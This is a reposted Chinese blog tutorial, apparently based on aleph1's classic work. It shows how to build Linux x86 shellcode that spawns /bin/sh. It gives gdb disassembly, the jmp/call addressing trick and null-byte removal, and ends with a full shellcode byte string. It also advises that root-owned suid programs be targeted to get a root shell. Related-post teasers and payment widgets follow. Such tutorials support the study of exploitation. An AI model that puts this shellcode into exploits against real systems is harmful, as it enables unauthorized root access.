int main ( int argc, char * argv[] )
也不影响返回地址的修改。

定义ret局部变量就意味着esp已经获得,必须明确理解这一点。

这里仅仅介绍了如何写自己的shellcode,并没有介绍缓冲区溢出本身。
简单说两句。从纯粹的攻击角度而言,首先要寻找那些suid/sgid的属主
是root的应用程序,然后判断该应用程序是否可能发生缓冲区溢出,继而
抢在应用程序结束之前嵌入自己的shellcode,因为应用程序结束之前一般
而言还处在suid状态,那么此时执行的shellcode也就具有了suid特性,
于是拥有root权限的shell展现在你的眼前,还等什么?关于缓冲区溢出
本身回头再经典回放,力争做到通俗易懂,可以照猫画老虎,今天不提它了,:-)

3. 如何写Sun工作站上的shellcode?

建议去绿色兵团的Unix系统安全<a class='Channel_KeyLink' href='http://bbs.77169.com'>论坛</a>学习这方面的知识,tt目前坐镇那里,
倒是展开了不少技术讨论,你可以只看不吭声,嘿嘿。
不过,只要稍微花点时间看看answer book中关于Sun工作站上的汇编那一
部分,原理是一致的,而且GNU工具也不是没有,如果你一定喜欢gdb而不是
dbx的话,faint

我是没有Sun工作站可以用了,否则今天就以它为例子来演习,可惜。

★ 后记

    最后再次向aleph1致敬,感谢tt为我们大家翻译整理了它。
    要是多一些这样的朋友,系统安全一定可以得到实质性提高。
    BTW,讨厌听别人说,怎么怎么黑了谁谁。



◆ Shell Code 的编写

日期:1999-10-15

    下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)

void main() {
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = NULL;
  execve(name[0], name, NULL);
}

我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则
execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------

下面我们来首先来分析一下main代码中每条语句的作用:

0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,
最后为局部变量留出<a class='Channel_KeyLink' href='http://idc.77169.com'>空间</a>.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.

0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";

0x800013d : movl $0x0,0xfffffffc(%ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;

对execve()的调用从下面开始:
0x8000144 : pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.

0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
将name[]的起始地址压入堆栈

0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
将字符串"/bin/sh"的地址压入堆栈

0x800014e : call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈

------------------------------------------------------------------------------------

现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他
们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的
角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,
系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.

0x80002bc <__execve>:  pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理

0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引号.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx

0x80002ce <__execve+18>: int $0x80
产生系统调用,进入核心态运行.

------------------------------------------------------------------------------------

看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:

leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int   $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr  dd 0
-------------------------------------------------------------------------------------

但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行
时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.

解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使
用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加
入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度
,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在
执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们
就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还
可以很方便地存取string_addr和null_addr.

------------------------------------------------------------------------------
经过上面的修改,我们的ShellCode变成了下面的样子:

jmp  0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int  $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr  dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以'/0'结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi



------------------------------------------------------------------------------------

我们知道C语言中的字符串以'/0'结尾,strcpy等函数遇到'/0'就结束运行.因此
为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含
有'/0'. 下面我们就对它作最后一次改进,去掉其中的'/0':

原指令:          替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi)    xorl %eax,%eax
movl $0x0,0xc(%esi)    movb %eax,0x7(%esi)
               movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax       movb $0xb,%al
--------------------------------------------------------

OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18       # 2 bytes
popl %esi      # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax    # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al    # 2 bytes
movl %esi,%ebx    # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80      # 2 bytes
call -0x2d      # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------------

经过编译后,用gdb得到这段汇编语言的机器代码为:
/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b
/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh

接着我们就可以利用这段代码编写溢出程序了。(具体方法可以参考“缓冲区溢出机理分析”)

上线之前多一道闸:业务审核系统的接入定义、双轨状态机与可靠生效闭环 运营后台“保存即生效”,让价格、库存、人群等配置每次修改都相当于一次无评审的上线。本文以至尊会员降价活动为例,系统拆解业务审核系统:用带业务语义的操作编码、规则化审核人与候选人快照、完整的生效回调契约做好接入定义;把业务改造为提交待生效,以不可变快照、字段级差异和唯一约束加幂等号防误配防重复;用审批轨与执行轨双轨状态机、链路式重新提交和以事件为准的审核链路理清状态;最后以发件箱、幂等键、超时先查后试、乐观锁与对账闭合生效环节,并结合两个可运行的Java程序,给出五种生效策略的事故率实测对比。 阅读详情

相关推荐

快乐8 Ai大模型XGBoost LightGBM预测系统

随机森林回归:通过集成多个决策树模型,提高预测的准确性和稳定性。XGBoost:一种基于梯度提升的强大模型,擅长处理结构化数据。LightGBM:一种高效的基于决策树算法的分布式梯度提升框架,具有快速的训练速度和低内存消耗。高预测准确率:通过集成多种模型,提供更为精准的预测结果。多种预测方法:支持同尾号、重号、温号、连号和综合预测等多种预测策略,满足不同用户的需求。实时日志:在预测过程中,用户可以实时查看系统的预测进度和结果。

m0_72636583的博客 1万+

shellcode之二:简述漏洞提权

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。 派生shell 这类溢出一般会被用来获取根(uid 0)特权,我们可以攻击以根特权运行的进程来达到这个目的。如果进程以根运行,我们可以通过溢出强制它执行shell,而这个shell将继承根特权,我们也会因此而得到根shell。首先了解一下

AZURE 6876

银河麒麟v10-arm SEALOS离线部署k8s集群(v1.22.8)

示例 如果你想保存一个名为 "my_snapshot" 的 etcd 快照到指定的对象路径你可以使用以下命令: sealos etcd save --backupPath /root --name my_snapshot 如果文件名带时间戳:my_snapshot$(date +"%Y%m%d_%H%M%S") 会生成一个形如 20230913_143045 的时间戳。--restorePath string:指定快照恢复目录(默认为 "/opt/sealos/etcd-restore")。

xjudt的博客 3288

缓冲区溢出攻击实验(二)

上面缓冲区溢出攻击实验(一)中,主要阐述了怎么获得函数的返回地址,以及怎么修改返回地址。接下来阐述,获得了返回地址要做啥,也就是我们的获得shell的恶意程序; 二、获取shell恶意程序         由于我们最终是要通过向数组里面写超过范围的数据造成缓冲区溢出来,从而执行任意代码;而且我们的获得shell的程序会作为数据的一部分;至于为什么要作为程序的一部分,这里简单说明:一个程序只能访

Venscor技术养成之路 2930

【主题建模】一种基于深度学习的主题建模方法:BERTopic(理论篇)

在我的博客中已经写了很多关于主题建模的内容,当你准备了解 BERTopic 时,默认你已经知道了 LSA、pLSA、NFM、LDA 等传统的主题建模方法。关于主题建模的前置知识我在这里不做赘述,感兴趣的同学可以看看我前几篇博客。学习 BERTopic 需要一定的机器学习基础,让我们一起开始吧!

Data · Model · Agent · Repeat 9894

Spring AI Alibaba实战训练营-13语音生成应用开发指南

本文介绍了如何基于Spring AI Alibaba创建DashScope语音应用,支持文本转语音(TTS)和语音转文本(STT)功能。主要内容包括:1)环境准备要求Java 17+、Maven 3.6+及阿里云DashScope API Key;2)通过Spring Initializr创建项目并配置相关依赖;3)设置API密钥的安全配置方法;4)实现语音合成的同步和流式功能,包括创建控制器类、调用API接口及保存语音文件。文章提供了详细的代码示例和配置说明,帮助开发者快速搭建语音处理应用。

program哲学 403

shellcode

shellcode利用系统调用execve得到shell1、execve函数用法函数原型为int execve(const char *filename, char *const argv [], char *const envp[]);例程$ vi t.c int main(int argc, char **argv){        char *name[2] = {"/bin/s

fifan的专栏 2542

YOLOv8自动驾驶系统 —— 夜间低光照条件 详细说明和完整代码

本文提出一种针对夜间低光照优化的自动驾驶车道保持系统方案,基于YOLOv8模型改进,包含三大核心技术:1.采用Retinex理论的多尺度低光增强算法,结合自适应伽马校正;2.改进YOLOv8的车道检测模型,通过夜间专用数据集训练,增加抗眩光处理;3.多传感器融合框架,整合可见光与红外图像。系统实现动态逆透视变换和参数调整,在Jetson Orin硬件上达到30ms级实时性能。测试显示在无照明、眩光干扰等极端场景下保持稳定,代码已开源。扩展方向包括V2X协同定位和自适应大灯联动控制。

u010117029的博客 598

如何写shell code

我曾看到有人翻了aleph1的>,奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写shellcode.不对的地方还请多多指教.                                                   通过覆盖堆栈中的返回地址,我们可以让程序转到该地址

|游梦空间| 1195

内模控制(IMC)——理论、应用与实践

内模控制方法的核心思想是利用被控对象的数学模型(即内模)构建控制器,使得控制器可以“预知”被控系统的动态响应,从而在控制输入中提前补偿模型的固有特性和扰动影响。常见的内模控制结构中,将系统分为无延迟部分和扰动部分,并利用内部模型预测输出值,再通过反馈回路进行误差修正。utuimctufbtutui​mctuf​bt其中,uimctu_imc(t)ui​mct为内模预测得到的预补偿控制量,ufbtu_fb(t)uf​bt。

闲人编程的博客 2634

【C++】ROS:ROS1环境配置与基础示例

ROS1环境配置与基础示例

DevFrank的博客 2104

十八、常用Shellcode开发

本次我们主要总结和分享了一些常用的Shellcode。 我们在前面几次分享中都是围绕着execve系统调用相关的Shellcode展开的。我们可以看到execve可以很方便的在存有栈溢出的路由器中完成远程命令执行。但它并不是唯一常用的Shellcode,在书中作者还介绍了一个简单的reboot Shellcode,主要用于发起对目标路由器的拒绝服务攻击。还有一个比较复杂的,通过联合多个系统调用来获...

wanhex的博客 1003

【AUTOSAR-COM】-2.3_通过PduGroup批量控制CAN Frame/Pdu的接收

-->如果实现类似UDS诊断 $28服务,控制所有APP CAN Rx Frame/Pdu/报文接收; -->自定义过滤CAN信号的接收。

「汽车电子助手」的博客 1991

书写Linux下自己的shellcode

 原    作:aleph1 翻译注释:warning3  1999/07 验证修改:scz  2000/01/13 概述:     aleph1书写了这篇经典文章,首先要向他致敬。     tt整

南飞的侯鸟 1206

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Linux下的shellcode书写

概述: aleph1书写了这篇经典文章,首先要向他致敬。 tt整理翻译了它,其次就是要向他表示衷心的感谢。 该篇文章由浅入深地详细介绍了整个书写shellcode的步骤, 并给出了图示帮助理解。文章中涉及到了一些工具的使用, 要求具备汇编语言、编译原理的基础知识,如果你对此不 了解的话,我建议你不要看下去,而是应该回头学习更基础 的东西。gdb、objdump、vi、gcc等等工具你必须学会使用,

修养生息,以得佳境 1175

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Linux下通用型shellcode的编写

通过对本实验执行过程的理解,认真分析总结,能够独立的在 Linux 下进行 shellcode 的编写。

weixin_51409218的博客 1447

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

shellcode linux,书写Linux下自己的shellcode

: movl 0x10(%ebp),%edx将NULL的地址赋给edx0x80002ce : int $0x80产生系统调用,进入核心态运行.------------------------------------------------------------------------------------看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:leal string,stri...

weixin_42201721的博客 254

linux 生成shellcode,书写Linux下自己的shellcode

: movl 0x10(%ebp),%edx将NULL的地址赋给edx0x80002ce : int $0x80产生系统调用,进入核心态运行.------------------------------------------------------------------------------------看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:leal string,stri...

weixin_28829339的博客 215

Linux如何写字程序,书写Linux下自己的shellcode

: movl 0x10(%ebp),%edx将NULL的地址赋给edx0x80002ce : int $0x80产生系统调用,进入核心态运行.------------------------------------------------------------------------------------看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:leal string,stri...

weixin_29091837的博客 125

Linux下shellcode的编写

Linux下shellcode的编写 来源https://xz.aliyun.com/t/2052 EdvisonV/2018-02-14 22:00:42/浏览数 6638技术文章技术文章 0x01 理解系统调用 shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于shellcode要直接操作寄存器和函数,所以必须是十六进制的形式。那么为什么要写sh...

weixin_30387663的博客 904

shellcode_在Linux上测试Shellcode

shellcodeSomething quick that I picked up while learning about linux assembly exploitation — it is a right pain to test shellcode using a C program, because you need to do the following: 我在学习linux程序集开...

weixin_26722031的博客 304

linux下漏洞利用方法——shellcode

废话不多说,直接拿出练习计划,事务的学习都应该从易到难,这样学习起来效率较高。 (PS:没有基础的先看下大神写的入门介绍,个人感觉写得深入浅出,很容易明白.https://zhuanlan.zhihu.com/p/25892385 首先学习linux下漏洞利用方法。国外有个大神已经总结了一波: https://sploitfun.wordpress.com/2015/ 。我是准备一个月学完这个。 ...

weixin_42390670的博客 1689

linux编写shellcode

1、shellcode需要用到系统调用的调用号,可以通过unistd.h查看,具体某个系统调用的用法可以通过man syscall来查看 2、在现在的指令集中引入了syscall指令,但是原来的int 0x80调用正常可以使用。int 0x80调用将系统调用号放在eax, 参数依次放在ebx, ecx, edx, esi, edi;超过5个的将参数放在内存中,并将内存地址放在ebx寄存器中。 (

duangduang2020的博客 1228
上一篇: 如何获取passwd密码档
下一篇: 可以杀任何进程的代码
netwindmiss
博客等级 码龄21年 15粉丝 21原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值